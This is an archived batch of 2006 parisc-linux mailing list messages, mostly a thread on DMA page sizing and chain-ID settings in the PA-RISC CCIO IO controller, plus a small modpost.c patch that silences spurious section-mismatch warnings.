> ** It's safer (avoid memory corruption) to keep DMA page mappings
> ** equivalently sized to VM PAGE_SIZE.
> **
[snip]
> **
> ** PAGE_SIZE could be greater than IOVP_SIZE. But not the inverse.
> */

and specialy:
 > ** It's safer (avoid memory corruption) to keep DMA page mappings
 > ** equivalently sized to VM PAGE_SIZE.

which was related to the original question I didn't reach to explain better.

So even if I don't understand why, we have to limits the number of iotlb entries to 256 (without doc I just accept it).
but in term to 'avoid memory corruption' why don't we limit the iova_space_size to 256 * IOVP_SIZE?

Many thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Sat, 21 Oct 2006 00:19:44 -0600
Lines: 54
Approved: news@gmane.org
Message-ID: <20061021061944.GA24732@colo.lackof.org>
References: <J6YR5K$1938FDCB7E5B1C4FE794753632F5E240@scarlet.be>
	<20061012010426.GA18624@colo.lackof.org>
	<4538BB5F.5040703@scarlet.be>
	<20061020155059.GB23094@colo.lackof.org>
	<453904E4.60608@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624613 27849 80.91.229.3 (22 Nov 2014 02:50:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:13 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Oct 2006 06:20:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 21 Oct 2006 08:20:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 22BB67D7A9;
	Sat, 21 Oct 2006 00:19:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04358-05; Sat, 21 Oct 2006 00:19:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 467707D74E;
	Sat, 21 Oct 2006 00:19:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC1227D74E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Oct 2006 00:19:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04358-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Oct 2006 00:19:52 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 89C6B7D716
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Oct 2006 00:19:52 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 8F6F149400C; Sat, 21 Oct 2006 00:19:51 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 37CA049400A
	for <parisc-linux@parisc-linux.org>;
	Sat, 21 Oct 2006 00:19:47 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id CFABE3980AE;
	Sat, 21 Oct 2006 00:19:45 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25556-10; Sat, 21 Oct 2006 00:19:45 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 11A9B398069; Sat, 21 Oct 2006 00:19:45 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <453904E4.60608@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dNVMdgZiODBpUrWUfGRMAg01Ji9SWhIq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25354

On Fri, Oct 20, 2006 at 05:18:28PM +0000, Joel Soete wrote:
> >>> chainid_mask 0xfff80000
> >
> >This second chainid_mask is 13 bits wide.
> mmm sorry how do you compute this wide value?

Count the number of contiguous bits set to 1.
bit 31 to bit 19 is 13 bits.

> Btw I just discover an interesting comment in rope.h
> >/*
> >** IOC supports 4/8/16/64KB page sizes (see TCNFG register)
> >** It's safer (avoid memory corruption) to keep DMA page mappings
> >** equivalently sized to VM PAGE_SIZE.
> >**
> [snip]
> >**
> >** PAGE_SIZE could be greater than IOVP_SIZE. But not the inverse.
> >*/
> 
> and specialy:
> > ** It's safer (avoid memory corruption) to keep DMA page mappings
> > ** equivalently sized to VM PAGE_SIZE.
> 
> which was related to the original question I didn't reach to explain better.

The "avoid memory corruption" refers to the fact the we are likely
to map *more* address space than the device actually will DMA to.
If the device is doing DMA to 4K and we map 64k, than means there
is 60k more DMA address space the device can write to than it needs
permission to. The trade-off is between efficiency in creating
DMA mappings (reducing the number of mappings) and how much
address space we actually use.

> So even if I don't understand why, we have to limits the number of iotlb 
> entries to 256 (without doc I just accept it).

No. The number of IO TLB entries is implemented in HW.
The SW (e.g. ccio) only controls the number IO Pdir entries and
thus the total amount to DMA that can be mapped at the one time.

The size of a page (as seen from IO) is just much simpler to manage
when it's the same size of a page as seen by the CPU.
I need a really good reason to make things more complex.
And in this case I don't have a reason. I just want to enable
someone else to experiment if they have time or reason to do so.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Sat, 21 Oct 2006 17:17:46 +0000
Lines: 124
Approved: news@gmane.org
Message-ID: <453A563A.9050704@scarlet.be>
References: <J6YR5K$1938FDCB7E5B1C4FE794753632F5E240@scarlet.be>
	<20061012010426.GA18624@colo.lackof.org>
	<4538BB5F.5040703@scarlet.be>
	<20061020155059.GB23094@colo.lackof.org>
	<453904E4.60608@scarlet.be>
	<20061021061944.GA24732@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624614 27851 80.91.229.3 (22 Nov 2014 02:50:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Oct 2006 17:18:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 21 Oct 2006 19:18:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3B0E7D71F;
	Sat, 21 Oct 2006 11:18:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13029-04; Sat, 21 Oct 2006 11:18:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7859D7D726;
	Sat, 21 Oct 2006 11:18:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C0E17D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Oct 2006 11:17:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12393-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Oct 2006 11:17:56 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 510687D66C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Oct 2006 11:17:56 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 0FA4449400D; Sat, 21 Oct 2006 11:17:56 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 2D30D49400A;
	Sat, 21 Oct 2006 11:17:52 -0600 (MDT)
Original-Received: from (ip-213-49-76-2.dsl.scarlet.be [213.49.76.2]) 
	by guri.is.scarlet.be  with ESMTP id k9LHHmC27998; 
	Sat, 21 Oct 2006 19:17:48 +0200
User-Agent: Icedove 1.5.0.7 (X11/20061013)
In-Reply-To: <20061021061944.GA24732@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZWQcbRvwLi5nE/fRZWtpisljZml1ZBid
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25355



Grant Grundler wrote:
> On Fri, Oct 20, 2006 at 05:18:28PM +0000, Joel Soete wrote:
>>>>> chainid_mask 0xfff80000
>>> This second chainid_mask is 13 bits wide.
>> mmm sorry how do you compute this wide value?
> 
> Count the number of contiguous bits set to 1.
> bit 31 to bit 19 is 13 bits.
> 
Ah thanks (one more stuff in my dico ;-) )

>> Btw I just discover an interesting comment in rope.h
>>> /*
>>> ** IOC supports 4/8/16/64KB page sizes (see TCNFG register)
>>> ** It's safer (avoid memory corruption) to keep DMA page mappings
>>> ** equivalently sized to VM PAGE_SIZE.
>>> **
>> [snip]
>>> **
>>> ** PAGE_SIZE could be greater than IOVP_SIZE. But not the inverse.
>>> */
>> and specialy:
>>> ** It's safer (avoid memory corruption) to keep DMA page mappings
>>> ** equivalently sized to VM PAGE_SIZE.
>> which was related to the original question I didn't reach to explain better.
> 
> The "avoid memory corruption" refers to the fact the we are likely
> to map *more* address space than the device actually will DMA to.
> If the device is doing DMA to 4K and we map 64k, than means there
> is 60k more DMA address space the device can write to than it needs
> permission to.
Exactely my understanding ...

> The trade-off is between efficiency in creating
> DMA mappings (reducing the number of mappings) and how much
> address space we actually use.
>
... too ;-)

>> So even if I don't understand why, we have to limits the number of iotlb 
>> entries to 256 (without doc I just accept it).
> 
> No. The number of IO TLB entries is implemented in HW.
> The SW (e.g. ccio) only controls the number IO Pdir entries and
> thus the total amount to DMA that can be mapped at the one time.
> 
> The size of a page (as seen from IO) is just much simpler to manage
> when it's the same size of a page as seen by the CPU.
> I need a really good reason to make things more complex.
> And in this case I don't have a reason. I just want to enable
> someone else to experiment if they have time or reason to do so.
> 
I didn't mean to make more complex?

But the confusion may be came that I took a comment in sba code to explain somthing which weems to me strange in ccio code?

Or my english is to bad or I missed the meaning of this hunk:

	iova_space_size = (num_physpages << PAGE_SHIFT) / count_parisc_driver(&ccio_driver)

   means simply that we equaly balance all my ram between ioc then
   [in my config 256MB / 2 ccio bc == 128MB]

	(assuming it >= 1MB and < then 1GB)

	iov_order = get_order(iova_space_size << PAGE_SHIFT);

         /* iova_space_size is now bytes, not pages */
         iova_space_size = 1 << (iov_order + PAGE_SHIFT);

   we compute just a new value so that  "iova space is log2() in size."
   [in my config 128MB]

   then we compute a pdir_size, reserve pdir_base and the same for res_size and res_map according to IOVP_SIZE.

   and finaly what I certainly missunderstand:

	ioc->chainid_shift = get_order(iova_space_size) + PAGE_SHIFT - CCIO_CHAINID_SHIFT;

   i.e. if I translate in terms of power 2:
	chain_size = iova_space_size / 256 [ in my config 128Mb / 256 = 512k]

   and my understanding of seting io_chain_id_mask = CCIO_MASK << chainid_shift
   was to configure ccio to use chain_size page size (and not IOVP_SIZE because it would resulting to much io tlb entry)?

   what seems to be confirmed elsewhere by:

> static CCIO_INLINE void
> ccio_clear_io_tlb(struct ioc *ioc, dma_addr_t iovp, size_t byte_cnt)
> {
>         u32 chain_size = 1 << ioc->chainid_shift;
> 
>         iovp &= IOVP_MASK;      /* clear offset bits, just want pagenum */
>         byte_cnt += chain_size;
> 
>         while(byte_cnt > chain_size) {
>                 WRITE_U32(CMD_TLB_PURGE | iovp, &ioc->ioc_regs->io_command);
>                 iovp += chain_size;
>                 byte_cnt -= chain_size;
>         }
> }

and nowhere else chainid_shift is used in sg list managment, only IOVP_[SHIFT,SIZE].

so either somewhere I learn sg manager that actual iovp became 512k (but seems to be break 2 sba advises: iovp_shift > 
PAGE_SIZE, DMA page mappings not equivalently sized to VM PAGE_SIZE)
or i save IOVP_SIZE (my preference) but recompute iova_space_size and all related values to setup ccio?

Or I just have to wait public ccio doc to better understand how this hw works ;-)

Thanks for your patience,
	Joel

> grant
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] PA-RISC: Fix bogus warnings from modpost
Date: Fri, 20 Oct 2006 07:46:32 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20061020134632.GW2602__44449.8823061169$1416624614$gmane$org@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624614 27854 80.91.229.3 (22 Nov 2014 02:50:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:14 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Sam Ravnborg <sam@ravnborg.org>,
 Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2006 13:46:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 20 Oct 2006 15:46:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27B907D766;
	Fri, 20 Oct 2006 07:46:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25508-07; Fri, 20 Oct 2006 07:46:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 391D97D76B;
	Fri, 20 Oct 2006 07:46:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A44447D754
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Oct 2006 07:46:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25716-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Oct 2006 07:46:33 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7013F7D74E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Oct 2006 07:46:33 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 1FC9749400B; Fri, 20 Oct 2006 07:46:33 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 0C41849400A; Fri, 20 Oct 2006 07:46:33 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ILpdBFwjfW4oTuWveGVoqCNmdmllcoXS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25356


parisc and parisc64 seem to name sections a little differently from other
targets.  parisc64 gives spurious warnings like:

WARNING: drivers/net/dummy.o - Section mismatch: reference to .init.text:dummy_setup from .data.rel.ro between '.LC1' (at offset 0x0) and '.LC6'

and parisc gives spurious warnings like:

WARNING: drivers/net/dummy.o - Section mismatch: reference to .init.text:dummy_setup from .rodata.cst4 between '.LC1' (at offset 0x0) and '.LC6'

Given the other comments in modpost.c, it seems that the best solution
is to move rodata down to the 'match at start of name' section and add
.data.rel.ro to the 'match entire name' section.

diff --git a/scripts/mod/modpost.c b/scripts/mod/modpost.c
index 4127796..582b58f 100644
--- a/scripts/mod/modpost.c
+++ b/scripts/mod/modpost.c
@@ -910,7 +910,7 @@ static int init_section_ref_ok(const cha
 		".opd",   /* see comment [OPD] at exit_section_ref_ok() */
 		".toc1",  /* used by ppc64 */
 		".stab",
-		".rodata",
+		".data.rel.ro", /* used by parisc64 */
 		".text.lock",
 		"__bug_table", /* used by powerpc for BUG() */
 		".pci_fixup_header",
@@ -929,6 +929,7 @@ static int init_section_ref_ok(const cha
 		".altinstructions",
 		".eh_frame",
 		".debug",
+		".rodata",
 		NULL
 	};
 	/* part of section name */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Fri, 20 Oct 2006 09:50:59 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20061020155059.GB23094@colo.lackof.org>
References: <J6YR5K$1938FDCB7E5B1C4FE794753632F5E240@scarlet.be>
	<20061012010426.GA18624@colo.lackof.org>
	<4538BB5F.5040703@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624614 27857 80.91.229.3 (22 Nov 2014 02:50:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2006 15:51:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 20 Oct 2006 17:51:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E19857D796;
	Fri, 20 Oct 2006 09:51:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26438-09; Fri, 20 Oct 2006 09:51:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B38E97D76B;
	Fri, 20 Oct 2006 09:51:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D18F7D751
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Oct 2006 09:51:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26348-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Oct 2006 09:51:02 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 299467D74E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Oct 2006 09:51:02 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id E068449400B; Fri, 20 Oct 2006 09:51:01 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id B62BF49400A
	for <parisc-linux@parisc-linux.org>;
	Fri, 20 Oct 2006 09:51:00 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C7C57360571;
	Fri, 20 Oct 2006 09:50:59 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25024-02; Fri, 20 Oct 2006 09:50:59 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7774236047D; Fri, 20 Oct 2006 09:50:59 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4538BB5F.5040703@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: F4FRKkRvMydyf4igZWplJ9BraGRhZlrA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25357

On Fri, Oct 20, 2006 at 12:04:47PM +0000, Joel Soete wrote:
> mmm offhand wasn't there limits in ccio page size like in ia64 sba comments:
> >/*
> >** The zx1 IOC supports 4/8/16/64KB page sizes (see TCNFG register)

I don't remember.
ia64 sba is the 3rd generation IO controller.
U2 (ccio) is the first generation.
Sorry, I'm not interested in comparing them.

> >Uhm....sounds reasonable to me. All I know is I believe the existing
> >code use of chain_id is correct.
> >
> Just come back here shortly: the computed values with my hw config (256Mb 
> and 2 ccio) are
> > Found U2 at 0xfff88000
> > ccio_ioc_init() hpa 0x00008000 mem 256Mb IOV 128Mb (27 bits)
> >  base 10740000
> > ccio_ioc_init() res_size 0x1000
> >  chainid_shift 0x13
> >  chainid_mask 0x7f80000

This looks correct.

> > Found U2 at 0xfff8a000
